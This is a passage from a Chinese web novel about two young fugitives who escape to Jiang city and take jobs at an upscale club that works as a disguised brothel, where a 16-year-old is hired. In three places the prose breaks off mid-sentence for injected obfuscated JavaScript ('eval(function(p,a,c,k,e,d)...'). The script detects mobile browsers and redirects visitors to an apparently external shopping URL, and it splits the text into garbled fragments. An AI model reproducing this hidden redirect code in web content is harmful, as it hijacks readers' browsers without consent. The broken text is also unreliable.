几个混混对这破镇子很看不上眼,只是人生地不熟,不得已捏着鼻子跟个烂同性恋走。他们的任务就是找到崔盛,抓回去交给大雁来赚那笔赏钱。 也就是铁算盘被当街崩了,不然崔盛哪里能变成如今悬赏第一? 黄毛对这边路还算熟悉,赶忙跟上去,却没看见白容生的身影。前方是个岔路,他咬一咬牙,估摸白容生肯定是租那种便宜且不查证件的屋子:“走这边看看。” 左右不出这一片,不是这条路前面的那几栋楼,就是旁边的楼。 白容生和他那个病号哥,即使发现他们也跑不了多远。车站离这边有段距离,黄毛确信他们走不了。 他自觉运气还不错,那天在诊所被崔盛打得头嗡嗡响,想着去市里医院拍个片子。没料到偶然发现对崔盛的悬赏令,才知道机会来了。 黄毛不敢独自挑战崔盛,他在北城区找了几个有点交情,想得到大雁青睐的混混,准备跟踪白容生找到崔盛的住址,直接上门把崔盛绑了带走。 那天在诊所他亲眼看着崔盛一只手受伤,打他都只能用单手,想控制住估计很容易。 他们走后,分岔路口旁边一户人家的院门被推开,白容生从里面无声走出,望了眼黄毛一行人的方向。 因为每天都从这边走,白容生已经摸清这家人白天只有个眼花耳聋的老太太在家,院门从来不关,家里为了安全养了只看着唬人的狼狗。白容生头一回从这里经过时被不栓绳钻出来的大狗吓了一跳,被迫给出两个肉包子买路。 后面这只狗和他熟悉了,其实性格很温和,也不爱叫,每天就等着白容生路过时给一口加餐。 刚刚鸡蛋灌饼里的火腿肠早被那狗一口吞下,讨好地摇着尾巴目送白容生出门。 电话里白容生按照和崔盛约定好的暗号给出有人找上来的信息,他路上已经尽力绕路拖延时间,可惜黄毛是本地人,不好欺骗。 依据他们之前的计划,白容生给出信号后,尽快赶去车站。如果半小时内崔盛没出现,他就独自离开这里。 白容生心里难免犹豫,心跳不自觉加速。他的理智让他迅速转身,把买的菜随手放在这家门口,路边叫了辆三轮摩托,向汽车站赶去。 摩托车一路颠簸,白容生心烦意乱。到了汽车站,他付完车费跳下车,抬手在额头前挡住当空朗照的太阳。 车站人不少,外面围着一圈开摩托的黑车司机。白容生尽力放松,快步走到售票厅,看着大屏幕上的车票信息。 屏幕黑底红字,好几块灯光都坏了,模糊地闪烁着。 白容生找了个售票窗口排队,身旁就是售票厅的窗户,透过淡蓝色的玻璃,能看见大门外的景象。 室内冷气很足,他手心止不住冒汗。队伍前面还有人似乎是票买错了,和售票员吵了起来,堵在窗口不走,惹得保安也过来查看情况。 就在保安伸手拦着那人往后退时,大门外传来更大的尖叫。 一辆破旧的面包车风驰电掣,急速开到车站前,险些撞到拦路的石墩,发出刺耳的刹车声后才停下来。 车后座门打开,下来一个人,落地时还有点不稳,抬脸向四周看了看。白容生看清是谁后,忽然转身,强硬超过前面三两个人,一把推开那个吵架的,手递过去钱:“我买两张票。” 那人愣了一会,说:“哎你——” 白容生冷冰冰地看他一眼,对售票员重复:“两张票,最近的。” 售票员是个年轻女孩,被乘客气得满脸通红,还没反应过来,下意识操作着:“啊,最近的票,是去宣市的,还有八分钟开车,马上停止售票……” “就要这个。” 白容生忽略旁边那个乘客的疑问和叫嚷,票钱恰好是整数,他递过钱拿走票,离开排队人群,正看见快步走进大厅的崔盛。 崔盛头发乱糟糟的,身上一件背心外面罩着掉色的旧衬衫,甚至还踩着拖鞋。 他呼吸有点急促,接过白容生给的一张车票,顺手在他背后推了把:“快走。” 白容生想回头,后颈被崔盛捏了一把:“别乱看了,走。” 前方就是检票口,穿着制服的检票员正不耐烦地催促:“九点四十这班的快来检票,提前开车,快点快点!” 他刚接过白容生的票,门外骤然传来一声巨响,玻璃碎裂的声音哗啦啦的,混杂着尖叫。 检票员也愣住了,惊慌地伸着脖子去看。崔盛把票给他,他随便看了眼就挥手放行。 通过检票关卡后,要走过一条通道才能找到停在外面的车。 白容生匆忙中还是回头看了眼。 售票厅一侧的窗户被面包车的车头撞碎了,满地都是碎玻璃。面包车后是另一辆陌生的黑色轿车,车头虽说瘪了一块,可是丝毫不受影响,引擎轰鸣,正倒车向后,似乎是蓄势再撞一次。 售票厅的人群四处散开,有些向检票口奔跑,检票员都拦不住。 面包车是崔盛坐的那辆,离得远,白容生看不出来里面还有没有人。 黑车里几乎能确定就是追上来的黄毛那些人,白容生只是没想到他们能这样肆无忌惮,敢在车站这样撞车,这里可不是北城区。 他不知道崔盛是怎么来到车站的,只知道如果崔盛再慢一步,现在不一定还活着。 通道显得又长又昏暗,日光灯黯淡地闪烁着。白容生手心都是汗,抓着崔盛登上前往宣市的大巴车。 车上人差不多坐满了,挤到后排才有两个座位。还没坐稳,司机就关上车门,叫道:“开车了!” 其他人还不清楚售票厅的事故,大部分都昏昏欲睡地靠着椅背。白容生挑开淡蓝色的窗帘,在大巴车转弯离开车站时看到通道口冲出几个人,其中一人顶着黄毛,看见驶离的几辆车,情绪激动地挥舞起拳头。 差一点,还好跑掉了。 他吐出口气,重重往后一靠,额头的汗被车内有限的冷气吹得冰凉。白容生感觉他简直就像个丧家之犬,没有落脚地也没有自保能力,被人从这赶到那。 缓了会,他转头看崔盛。崔盛面上毫无表情,双眼看着前方,注意到白容生的视线,侧过来看他。 “是我不好。”他竟然说,“那天太冲动了,本来你带我出来就是很危险的事,我还随便和人动手。情况到底不一样了,也不是以前我想教训谁就能教训谁的日子。” “那辆车……”崔盛舌尖抵了下牙齿,“我花钱叫的黑车。当众撞车,那群人胆子还挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210531|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大。” 这里已经呆不下去。今天他们狼狈地逃跑,绝大部分家当都落在那间出租屋,白容生格外庆幸自己拿了赵老板结的工资,至少保证他们能登上离开的车。 大巴车中间还停了好几次,白容生又饿又渴,为了省钱,选择缩在那里睡觉。他最近瘦了不少,低头时能看见后颈清晰突出的骨头。 等下车时已经是傍晚,白容生还没睡醒,揉着眼差点踩空。崔盛在后面抓住他,牵着白容生的手,走到出口那里看墙上的地图。 宣市汽车站对面就是火车站,道路宽敞,四周的高楼也很多。他们在车上商量的方案是不在这里逗留,直接买火车票去江市。 路过火车站前的广场,开着两家快餐店。这两家店白容生只在电视里见过,C市的全是假冒牌子,他肚子很饿,情不自禁地多看了眼。 崔盛牵小孩似的把白容生带到火车站的售票大厅。最近一班去江市的火车晚上发车,还有一个多小时,到那是早上五点多。 两张硬座票不贵,但也不便宜。崔盛付了钱,车票交到白容生手中,让他去候车厅坐下。 车站有免费热水,白容生想着去买两桶方便面。可崔盛急匆匆地不知道去哪,他只得先坐下来等着。 差不多二十分钟后,身边排队检票的人都换了一波。白容生等得发困,正想站起来走走,面前突然多出一个纸袋。 他还没看清纸袋,先闻到油炸食物的香气。愣了一下,崔盛已经坐在他身边,把热乎乎的纸袋放在他膝盖上。 “吃吧。” 纸袋上赫然是刚刚路过他看的那家快餐店的图标。白容生抓着袋子转头,崔盛手里还有桶方便面,他左手勉强抓着,把面桶撕开。 白容生看不过,抢来方便面几下撕开,起身去接热水。 接水的时候他胸口有点发闷,不得不曲起手指,用力咬了一下。 两分钟后,白容生端着泡面桶回来。他放下面,打开快餐店的纸袋,没看见小票。 崔盛知道他在找什么,说:“小票扔了。” “多少钱?” “买都买了,别问这个,吃吧。” 实则崔盛进店门时差点把门打开的方向搞反,快餐店热闹明亮的环境让他很不适,尤其是里面人那么多,他总觉得不安全。 可是白容生脸色那么差,还对这家店多看了一眼。崔盛认为如果他连这个都不能给白容生买一份,他可以直接去卧轨。 柜台上的价目表和琳琅满目的套餐对崔盛都很不友好,他观察前面人的点单方式,有样学样点了份套餐。 价格崔盛觉得可以承受,不过白容生一定会觉得贵,他很有先见之明,顺手把小票扔进了垃圾桶。 袋子里是一只汉堡、一份炸鸡块和薯条,还有一杯冰可乐。白容生拿起可乐喝了几口,递给崔盛。 味道确实和他吃过的假冒伪劣店不一样。 一份快餐和一桶方便面,白容生和崔盛分着吃完,再用喝完的可乐杯子蹭了车站的两杯水。 吃完东西白容生好多了,这时候车厅内的广播通知开往江市的火车即将进站,他们要准备检票上车。 白天那股痛楚的劲逐渐过去,白容生看着外面黑蓝色的天空,在愤怒和难过里,头脑冷静下来。 自他出生以来,仿佛整个世界都想让他这个本不该存在的人消失。他有时觉得这一切没什么大不了,有时又忿忿不平,想他已经吃了那么多的苦,凭什么不能获得比别人多的东西? 白容生如今除了他自己和崔盛,再没什么别的可以失去。一年前他视之为生命意义的中考和一中,如今也被他抛在身后。 他必须确信,只要活下去,那些梦寐以求的东西,总能握在手中。 从没踏足过的江市,在白容生幻想里如同一座无所不能的城堡。他和崔盛两个无足轻重的小人物,坐在这间昏昏欲睡的车厢里,沿着铁路一直向前。 44.第 44 章 “坐车,十块起步,坐不坐?” “市区全部包送!” “小伙子,坐车吗?” 白容生在火车上睡得断断续续,他和崔盛必须交替着睡觉,免得身上仅剩的这点钱被小偷摸走。 下车后先是在江市偌大的火车站里转了半天才出站,接着就要从围成一圈的黑车司机中间挤出去。 江市要更热,即使是清晨,温度也不低,这里的暑热还没散去,空气湿润。 陌生的、还没完全苏醒的城市展露在两人眼前,一切景物还蒙着层温柔的灰蓝色。等白容生和崔盛离开火车站,找到前面一处居民区吃早餐时,太阳完全出来了,温度明显开始逐步升高。 崔盛一只手不方便,白容生不愿意让他动,端着两碗汤面回来,放在小方桌上。 面条细而韧,汤很鲜,飘着油花和小葱,上面盖着一块肉排。白容生碗里额外加了个蛋,他用筷子夹开成两半,故意多给崔盛一块蛋白。 崔盛把蛋黄给他,和白容生头对头各吃完一碗面。 上车时那股莫名的雄心壮志早被一晚上的硬座消磨干净。现在白容生看着全然陌生的街道,发现他完全不清楚应该如何开启一段新生活。 江市太大太繁华了,和他想象中不同,但都让人产生某种惶惑不安。白容生这样身无长物、一无所有的光棍,不知道从乞讨做起,会不会赚的比做网管还多点。 街边有长凳,上面痕迹斑驳,显然不干净。崔盛找路边报刊亭要了张旧报纸铺开,让白容生坐下,他自己蹲在旁边,拿出手机打电话。 白容生探身过去,拉开崔盛的衣服看他的肩膀,准备等看到药店去给崔盛买药。 随后他想起刚吃的面的价格,忧心忡忡,怀疑再过两天就要去睡大街。大城市的物价还是太高了,白容生没赚到钱,倒是先花出去不少。 崔盛这个电话打得很久,说话口吻也是罕见的和气。挂断时手机都要没电了,他坐回长凳,望着远方的高楼大厦。 来江市自然不是崔盛头脑一热的决定,虽说他交际圈里的那些混混死伤的占多数,但依然有极少数回头是岸,跑去外地正经打工生活了。 他这次联系的人叫王明军,老家和崔盛家很近,当初和他一起到大宏手下讨生活。这人头脑灵活,胆子却不大,没多久就看出自己没什么做混混的前途,和崔盛私下商量,准备去江市打工。 王明军正儿八经读完初中,考上高中后家里父母车祸去世,也没人管他给他钱去读书。他劝过崔盛和他一块走,崔盛没同意,只是掏钱再帮忙借钱,给他凑够了去江市的资金。 因着这个,王明军走前留下电话号码,表示崔盛不论什么时候想来江市,给他说一声,他保证给崔盛找份工作。 几年过去,王明军从没回家,崔盛也不清楚能不能再联系他。 说实话,如果只有他一个人,崔盛是抹不开脸面去求许久没有联系的故交。可相比之下,他更想让白容生能回到平静稳定的生活,因此也管不了其他了。 王明军还记得他,态度很好,问明崔盛在哪里后,让他在那别动,过一会他开车去接。 这过于顺利了。崔盛心里仍旧很警惕,他摸了摸身上,口袋里只有把水果刀。 当时接到白容生电话,他就觉出不对劲。经验告诉崔盛,有的时候该跑就跑,不要记挂财物,免得因小失大。他离开的时候只来得及抓了一把钞票,药、枪,还有别的,全部留在那里。 白容生坐了会觉得无聊,起来转了一圈。街那头有家中学,面积不大,正是上学的时候,吵吵嚷嚷。 他留神观察了一下,发现他们用的书好多都是陌生的,也就是说,如果白容生改在这里读书高考,需要重新学习。 白容生沉思着走回去,看见另一个方向,一辆黑色轿车减速驶来,恰好在那张长凳前停下。 车窗降下,探出个笑呵呵的青年男人,头发梳得十分整齐,油光发亮,五官端正的脸好像还抹了粉,活生生演绎何为“油头粉面”。 崔盛和油头男人面面相觑,两人都斟酌片刻才开口。 “王明军?” “崔盛?” “嗨呀,根本认不出来,变化太大了。”王明军率先反应过来,停好车下来,“算算,咱哥俩得几年没见了。” 他一把握住崔盛的手摇了摇,期间热情地说了一连串寒暄话,崔盛都插不上嘴,无奈地点头。 “对了,你还说带了个弟弟来?”王明军仔细打量完崔盛后,脸上带着满意,“小孩呢?” 白容生走近两步,叫了声“哥”。 王明军看见他更是眼前一亮,揽着白容生的肩夸奖:“不错不错,今年多大了?来,都上车,车上聊。” 崔盛坐上副驾驶,白容生在后面,谨慎地四处打量,推断出这车应该不便宜。干净、宽敞,行驶起来十分平稳,是他目前坐过最好的车。 王明军嘴就没停过,打听完C市现在的状况,再问崔盛这几年的经历。崔盛删删减减,夹着一两分谎话,声明因为老大倒台,他们这些小弟只得各奔东西。 “没个正经工作就这样,不稳定。你看你都快二十了吧,还是十九?不读书就得准备工作了,哪有天天在街上混。” 车一转弯,白容生看见像虚假造景一样林立的高楼大厦,宽阔的路面上车水马龙,玻璃幕墙反射出灿烂的阳光。 “……我现在是在一家高档会所工作,就是那些有钱人爱去玩的地方。本来想介绍你去我朋友的工程那里,不过见面后我改主意了,去工地拼死拼活才挣几个钱?咱们有本事,就该赚更多的,我告诉你,有钱人的钱才好赚。” 外面的景色逐渐消失,车停在地下停车场后,王明军转头正色告诉崔盛和白容生,“小白满十六就行,没成年也没事。崔盛,带上你弟弟跟我上去看看,看完就知道该怎么选了。别紧张,这里正式员工都包吃住,你看,我现在是经理,老板还给我配了辆车呢。” 停车场里甚至有点冷,白容生下车后,看见稀稀落落停的车似乎都价值不菲。他揉了揉鼻子,本想去牵崔盛的手,被崔盛直接揽住肩膀环着,跟在王明军身后走进电梯。 跟后面两个不修边幅的人不同,王明军西装整齐,皮鞋一尘不染。他在电梯里摸出随身小镜子检查头发,又喷了点香水,站直呼出一口气。 白容生还记得他们进入停车场前看见,一旁就是气派的高楼,只是没有标牌。此刻他们在电梯里直上十二层,开门时,格外明亮的灯光甚至令白容生眯了下眼。 而比灯光更刺眼的,大概是分列在电梯外走廊两侧的年轻男女。 女人统一穿着暗红色的短裙套装,头顶戴着小帽,男人则是黑色西装和皮鞋,按照男左女右的方式各占一边。乍看过去,全是俊男美女,仿佛来到什么明星公司。 王明军在出电梯后立刻变了个人,脸色冷漠傲慢,穿过两排人中间,目光挑剔地一一审阅。终于他把这几十人看完,挥手示意解散,才回身叫等在后面的崔盛和白容生。 “每天上班的必备流程,都是这里的规矩。”他笑道,“你们别紧张。刚看清了没?我手下,没一个丑的。” 经理办公室在尽头,推开门后,偌大落地窗透进来明亮的光线,王明军示意他们在沙发上坐下。 这家名为“鎏金”的高级会所,为客户们提供多种多样的服务,包括且不限于商务洽谈、餐饮、娱乐活动等,消费都有门槛,专供江市的有钱人。 王明军当初也是误打误撞成了这里的员工。初来江市时这家会所刚成立,他长得不错,嘴也甜,从这里的服务员做起,直到今天已经晋升成经理了。 年轻漂亮的服务员总是不嫌多,否则怎么吸引客户消费?更不用说,王明军是没有背景的外地人,他想在鎏金站稳脚跟,手底下自己人越多越好。 崔盛这种,既是他老乡,还在江市无依无靠,简直是送给他的礼物。 “光会喝酒、吸烟、打牌不够,你得上档次,不能太低俗,要给客户提供体验。”王明军在办公室里走来走去,讲了很长的话,最后一拍手,“行了,听我说没意思,崔盛,先从学徒做起,学两天。记得这里可不是你家,有脾气也得忍着,你弟就跟着你,他……他先不上晚班,你去上。” 没两分钟,一个满脸笑模样的年轻男人敲门,引着崔盛和白容生去另一个办公室。 新来的人需要登记填表,男人自我介绍:“崔哥你比我大一岁,叫我小润就行,小白你呢,得叫我润哥。我也是乔经理介绍来的,咱们是一家人。” 崔盛:“乔经理?” “哦,这里一般不用真名,王经理的名字是乔,我们都叫他乔经理。” 白容生因为未成年,还要再多填一张。阿润饶有兴趣地看着崔盛的肩膀:“你这里怎么了,伤这么严重?” “意外,被刀捅了。”崔盛含糊过去,“这里有医生吗?” “有啊,放心吧崔哥,这里医生技术很好的。”阿润说着,把他俩填好的资料交过去,没一会拿着两把钥匙回来,“你们住一间房。先去换洗吧,都有统一制服,弄好了下午再开会,有什么问题随时叫我。” 他比了个手势在耳边,还冲崔盛挤了挤眼睛。 崔盛视若无睹,说了句“谢了”,就带着白容生去楼下的宿舍区。 不知道是不是王明军给开了后门,宿舍环境还不错,一室一卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213994|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加个宽敞的阳台,连着一间小厨房。 崔盛检查了一遍内部,白容生则拿出电话机下压着的纸片,上面印着餐厅、保安和医务室的电话。 他不客气地拨打医务室电话,结果没几分钟,真的有位医生上门,看见崔盛的伤口,顿时眉头皱了起来。 崔盛被直接带去医务室,白容生想跟过去,可阿润突然出现,急匆匆地说:“小老板来检查工作了!什么,崔哥不能去?……那小白,你快洗把脸换身衣服,跟我走,快!” 没有办法,白容生简单洗了脸,从衣柜里找出一身尺码小些的正装仓促换上。他不会打领带,随手摸出一条领结,跟在阿润身后上楼。 “站我身后,不要说话,也不要乱看。”阿润边走边叮嘱,“巧了,今天碰上小老板带他朋友来视察,千万别掉链子啊,不然我们都完蛋。” 白容生听话地点头,阿润紧张地调整领带。电梯“叮”一声,装饰精美的走廊再次被两边人站满,其中王明军站在前面,看见他们,立刻用力使眼色。 阿润急忙拽着白容生站到后面。周围都是香水味,各种各样,熏得白容生忍住一个喷嚏。 没几分钟,电梯再次打开,传来几个男女说笑的声音。 白容生透过人群的缝隙悄悄观察。 为首的青年男人挽着一位同龄女人,两人姿态亲密,外貌不算出色,但能看出通身穿着打扮不俗。他们身后的两个男人要更显眼,不仅外貌英俊,打扮也十分新潮。 队伍最前面的几人,依次按职位上前问好。挽着女人的男人随意点头,和他们说了几句话,便继续向前走。 倒是跟在后面的两个男人,目光散漫且肆无忌惮地扫视着站在两边的人,神情间有点挑拣的意思。 看样子,第一位就是这里的那位“小老板”了。 白容生思考着,鼻尖发痒,实在忍不住,低头小声打了个喷嚏。 阿润吓得从背后给他塞了张手帕,白容生接过快速地蹭了蹭。他若无其事地抬头站好,心中不由得紧了紧。 走在后面的两个男人似乎注意到他,都带着点笑瞟过来,但没说别的,叫了两名女孩各自揽着离开了。 他们走后这两列队伍随之解散,阿润松了口气:“吓我一跳……估计看小白你还小,就没跟你计较。” 白容生:“最前面的是小老板和他女朋友?” “未婚妻,市长的女儿。”阿润和他一起走,低声说,“这里名义上的大老板不管,都是他儿子在管,所以叫小老板。后面是小老板的朋友,咱们一个都惹不起,乔经理没跟你们讲,你们那宿舍之前住的两个人,就是被他们打断手赶出去的。” 白容生问:“为什么?他们在这里打人,是没人能管吗?” “谁敢管?公安局长和他们家里是好朋友,再说,那么多工资是白拿的?伺候不好少爷小姐,被打活该咯。” 说着,阿润把白容生送回宿舍,犹豫片刻,又说,“我看你哥脾气挺硬的,你记得交代他,在这里绝对不能跟客人反着来,听话会干活,哪怕过两年老了被辞退,赚的钱也不少。他……他有手机没?” 白容生不是傻子,敏锐察觉出这个阿润似乎对崔盛有意思。他还挺惊讶的,心说如果崔盛知道他被同性恋看上,恐怕要恶心死,不过阿润是好意,便说:“我不能随便给他的号码,你可以亲自问问我哥。” 阿润有点失望,挥手道:“好,你先休息,有事叫我。培训的时候好好上课啊。” 白容生解开勒得难受的领结,洗完澡翻翻衣柜,也没空计较里面的衣服是不是被穿过,总之是干净的就好。 他换上一件灰色的短袖连帽衫,找出一件最合身的黑色长裤套上,就是裤子垂下好几条叮当作响的银链,让他很不适应。 边走边响的白容生跑去医务室,护士拦住他说崔盛在里面进行处理伤口的小手术。他没想到又变严重了,心里有点低落,回到房间躺在床上看着天花板。 天花板有几块外面阳光反射进来的光斑,晃晃悠悠,看久了很催眠。 白容生在这安静里品出了不真实的荒谬感,结合他方才的所见所闻,他意识到这里是大城市更豪华的升级版洗头房。 不过,能够逃出C市,还轻松地在江市找到了包吃住的工作,已经算是他们运气好了。 白容生睁着眼睛看了会,一个用力翻身坐起来。 卧室的桌子上有电脑,他试着开机,发现可以正常使用,也有网。 白容生搜索江市地图,仔细看了看,发现江市一中离这里竟然并不很远。 而就他所知,一中的竞赛培训要整个暑假,八月底才能结束。也就是说,蒋翰现在还在江市。 45.第 45 章 崔盛带伤过来是王明军没想到的,且伤势还不轻。医生建议处理完伤口需要静养几天,否则再折腾下去手可以不要了。 他虽然隐约猜到崔盛是得罪了什么人才跑来江市,但情况这样严重,确实有点超出意料。 也就是当年崔盛帮过他,否则王明军直接把耽误事的人扔出去了。 不过崔盛不行,还有白容生。 这孩子属于买一送一的意外之喜,是王明军看好的潜力股。哪怕没成年只能上白班,也足够赚了。 最重要的是,做这行不能有自尊心,要学会展示自己如同展示一瓶酒、一幅画。年轻人往往学不会,尤其是漂亮聪明的年轻人,容易自视甚高。 白容生唯独这点十分出色,他好像富有这方面的经验,会看客人的脸色,会主动调整态度。 试用三天后,王明军就签字同意他正式上岗,私下叫他去办公室,给他塞了一个小红包。 “都知道我和你哥以前认识,外人面前咱们不好表现太亲密,省得人家天天说我给你们开后门。”王明军拍拍白容生的肩膀,“小伙子好好干,钱少不了你的。” 白容生已经换上了合身的制服,依旧没打领带,只有一只领结。他没推辞,收下红包笑了笑,“谢谢乔哥。” 入乡随俗,白容生也跟着一起叫乔经理或者乔哥。 拿着红包,白容生没回宿舍,而是下楼,离开鎏金。 他目前的工作是在底下两层餐厅那里做服务生,额外的收入来自小费和客人开的酒。由于是鎏金正规营业的部分,环境很好,很少遇到难缠的客人,工作比网管不知道好出多少倍。 白容生拿出手机,无意识翻了下通话记录,看见冯少平给他的二十个未接来电。日期都停留在前几天,估计冯少平终于放弃了。 心情比预想中平静,白容生沿着华灯初上的街道往前走,江市的夜景繁华绮丽,赏心悦目。 他走了近半个小时,离开那处商业中心后,就是老城区的边缘。这里热闹的人气更多,学校、医院、居民区,全部集中在此。 “你好,我上午电话订了一份冰淇淋蛋糕。” 推开蛋糕店的大门,白容生走到蛋糕柜前面,和店员对了一下手机号码。 这是他第一次来到这样高级的蛋糕店,甜蜜的香氛簇拥着他,闪闪发光的摆件和柜台折射出无数道光线。白容生看见不少和他差不多的同龄人穿着校服,轻松地在那里挑选着面包。 他收回目光,看着店员从冰箱取出他的蛋糕,包装盒里放好冰袋,再封□□给他。 才到手的红包就这样花了出去。 拿到手,白容生提起来仔细地打量。去年崔盛生日,他买的也是冰淇淋蛋糕,对比手中的这个,好像不是同一物种。 回去的路白容生选择坐公交车,跟着车轻微摇晃。崔盛生日已经过去几天了,今天他终于闲下来,买个蛋糕把生日补上。 他绕过鎏金气派的大门,从员工出入的后门进去,员工电梯外面却挂着维修的牌子,白容生不得不再走到前面大厅。 担心天热蛋糕会化,白容生小步跑了起来。恰巧一楼的电梯还没合上,他赶过去说着不好意思按住开门键,一个扭身挤进去。 电梯里的两人正在说话,被白容生打断了。其中一个笑着问:“几楼?” “十楼,谢谢。”白容生说完,下意识回头看了眼。 交谈的两个年轻男人外貌出色,穿着新潮,看着有些眼熟。他们的表现好像也有点怪异,尤其是刚刚按电梯的那个棕头发的人,表情似笑非笑,格外仔细地盯着白容生的脸。 对于来这里消费的客人,白容生一概是选择能少一事是一事。电梯只有几十秒,他拎着蛋糕盒转回去,装作什么都没看见。 但在到达十楼时,棕发男人忽然抬手,将要开门的电梯按了关门。 “小朋友,”他问白容生,“多大了,今天过生日?” 白容生心里一紧,脸上尽力放松地笑了笑:“这个不是我的,我帮别人买的蛋糕。” 男人眉毛一扬:“噢,所以你几岁了?” “十六了。” 白容生警惕地看着他,男人若有所思,再次朝他笑了笑:“好,别紧张,随便问问。你去吧。” 电梯门打开,白容生边走边想起来,他第一天来这里时,跟在那位小老板身后的两个人,似乎就是这两人。 他想不明白男人问他年龄的动机,总不能是查访这里有没有雇佣童工。 白容生摇了下头,决定先不想。他早已习惯这里的顾客时常头脑一热或者突发奇想,等短暂的兴趣消失,又随便地抛之脑后。 他回到宿舍,浴室里水声刚停。崔盛裹着浴巾探头出来,见白容生手中提着的盒子,随口问:“买的什么?” 白容生:“你伤口能碰水了?” “有防水的包着。”崔盛只穿着短裤出来坐下,冲白容生伸出手。 白容生却没像他想要的那样挨过来,而是抓过一条毛巾缠在他头上。崔盛头发之前在监狱里被剃得很短,人也平白多了几分凶相,现在长了回来,他没空精细打理,有点乱糟糟的。 把头发擦到不滴水了,白容生才坐回小桌子的对面,开始拆蛋糕。 崔盛早就把生日这件事忘了,后知后觉这是白容生给他买的蛋糕,心里一时间难以言说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217377|196795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么滋味。 这几天白容生早出晚归,崔盛终于找到空,问他:“在这里感觉怎么样?” “挺好的。”白容生也看他,“怎么了,哥?” 崔盛:“想留在这里吗?” 白容生低头拆刀叉:“不想。” “不想就好。”崔盛试图使用点沟通技巧,不过他着实不擅长这个,最终还是单刀直入,“你这些天,每天晚上都出去做什么?” “出去散步。” 不等崔盛再说,白容生把蜡烛点上,“好了哥,吃蛋糕。” 崔盛抬手压住餐刀,心平气和地问:“去哪里散步?” 白容生皱眉,两人在沉默里僵持片刻,崔盛不追问了,拿起刀切开蛋糕。 “学校那边,你一直不去会怎么样?”崔盛换了个话题,“会退学吗?” “不知道。可能会吧。” “王明军不会允许你走的。”崔盛道,“我想了很久……还是得让你回去,你不能留在这里。” 见白容生想说话,崔盛不容置疑地说:“你必须回去,白容生,就当作没有我,回去把书读完。” 白容生用叉子叉起一块冰淇淋,举着思考了一会,理解了崔盛的潜台词。 “你是说,”他缓缓道,“哥,你是说我们就这样分开,是吗?” 说完后,他又后悔。崔盛都说出这种话,他这样回答,显得多么舍不得一样。其实谁离了谁不能活?他离开崔盛说不定还活得更好。 崔盛一个“是”还未出口,白容生就放下叉子,双手环胸,冷笑着反问:“那么我们以后都别再见好了,就当作你不存在,我读我的书,你打你的工?” “白容生。” “说这种混账话,就别叫我了。”白容生转身去阳台,推开窗,潮热的夜风扑面而来。他深呼吸了两口,肩膀一重,崔盛从后面轻轻抱住他。 “如果你以后不想认我,我也没意见。”崔盛平静地说,“我找个机会,让你走。” 白容生没出声,他低头端详自己的两只手。 不管是被人堵在电梯里提心吊胆地回答问题,还是必须在回去读书和留在崔盛身边二选一,都让他确切地明白了他的无能为力。 江市那么大那么繁华,一个白容生一个崔盛扔进来,连点水花都溅不起。 就算他考上江市的大学,真的就能获得梦寐以求的生活吗? “这次必须听我的。”崔盛强调,“白容生,我绝对不能再耽误你。” 搞什么,说得像三流偶像剧里被棒打鸳鸯一样。 “就算走,也要再等几天。”白容生下定决心,“我还有一件事要做。” 46.第 46 章 具体是什么事,崔盛问了,白容生死活不说。 他这些天的散步行程很简单,坐公交到老城区边缘下车,步行进入,之后再坐车返回。赫赫有名的江市一中新校区还没建好,众多学生只能继续挤在道路狭窄的老校区。 白容生结合蒋兴康发的动态以及他打听到的消息,还算顺利地明白了这个学校的作息和休假安排。 当然,最主要是蒋兴康坦荡地把他们竞赛培训班的课程表拍了出来。 真是多亏他的新款手机,拍照清晰,不用白容生多费力。 下班休息的时候,白容生独自坐在阳台,拿起一枚硬币抛来抛去。 他在做最后的决定。 白容生不怕得罪蒋兴康,不过鉴于他还会回到C市,这件事如果要做,就得做到天衣无缝,免得日后被报复。 他还可以选择忍耐,毕竟蒋翰估摸不会记住这样两个被他利用耍弄的小喽啰。只要时间足够久,或许等白容生长大,他再看这件事也觉得不痛不痒。 铛!硬币在他走神中掉到地上,瓷砖被砸出一声脆响。白容生捡起硬币下定决心,回到屋内电脑前又看了眼。 蒋兴康最新动态在炫耀他新交的江市大小姐朋友,拿到了人家生日会的邀请函。随后装模作样地抱怨因为他成绩太好还被老师加课,在评论区回复要晚上回学校补作业。 生日会就在明天。 白容生关闭电脑,看了眼时间。崔盛已经上岗,王明军把他安排去了娱乐区那边,要到半夜才能下班。 这里的医生都感叹崔盛的恢复能力。有了正规的医疗条件后,崔盛目前左手虽然还不能使力,但穿上外套后日常看不出受伤的痕迹。 